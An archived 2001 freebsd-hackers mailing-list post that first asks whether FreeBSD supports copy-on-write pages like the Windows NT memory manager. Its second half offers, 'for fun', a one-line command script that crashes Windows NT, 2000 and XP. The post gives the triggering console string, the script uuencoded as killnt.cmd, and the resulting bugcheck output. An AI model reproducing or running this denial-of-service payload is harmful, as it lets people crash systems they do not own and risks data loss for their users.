Skip site navigation (1)Skip section navigation (2)
Date:      Tue, 27 Nov 2001 18:54:17 -0000
From:      "Andrey Pugachev" <A110C@svs.ru>
To:        <freebsd-hackers@FreeBSD.org>
Subject:   Does FreeBSD support copy-on-write pages?
Message-ID:  <002901c17775$2f05e900$5a30ddd5@a110c>

next in thread | raw e-mail | index | archive | help
I am just curious, can FreeBSD kernel perform function called copy-on-write
pages in Windows NT world? This is tricky feature of NT memory manager. When
several processes (or threads) allocate identical write-enabled memory
pages, system does not allocate physical memory for each process data at
once. The NT kernel allocates only one copy of write-enabled memory region.

But when this memory being written, system allocates memory for changed
(written) pages and copies data to them. So identical write-enabled memory
regions being stored in physical space (RAM/page file) only once (shared
read-only .text code sections well known for ages).

Each thread/process can read and write such write-enabled memory areas not
bothering about concurrent access. Each process lives in its own address
space and physically shared or unique pages are being mapped into this 4G
(or more) linear address space.

So I just curious, whether some similar feature available in FreeBSD kernel.
If not, this will be not a problem. Here is a small joke -- 10 byte (1 line)
NT command processor script to kill any known NT family operating system.
Even C2-secure rated by NSA's TSEC("Orange Book") systems including Windows
NT Workstation/Server 4.0 build 1381 (release) up to SP 6.0a, Windows 2000
and XP clones. When string "\t\b\b*" being written as a first string on new
console, the whole thing dies. Depending on system configuration, NT
reboots, hangs or displays "Blue Screen of Death" (BSOD):

"The computer has rebooted from a bugcheck.  The bugcheck was: 0xc000021a
(0xe12535e8, 0xc0000005, 0x5ffc9d68, 0x00a3fa44). Microsoft Windows NT
[v15.1381]. A full dump was not saved."

Here is sophisticated :) Windows NT family killer just for fun and
researches. Run from parent process with no console preallocated -- from GUI
shell, Start\Run menu etc. The more backspaces being typed, the more NT
clones being killed (it seems, backspaces overwrites valuable kernel data
stored before console instance buffer):

section 1 of uuencode 5.20 of file killnt.cmd    by R.E.M.

begin 644 killnt.cmd
*0&5C:&\@"0@(*@@(
`
end
sum -r/size 38770/45 section (from "begin" to "end")
sum -r/size 33593/10 entire input file

If no task writes data in backgound, this is quite safe -- no data lost
after reboot. Have fun.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-hackers" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?002901c17775$2f05e900$5a30ddd5>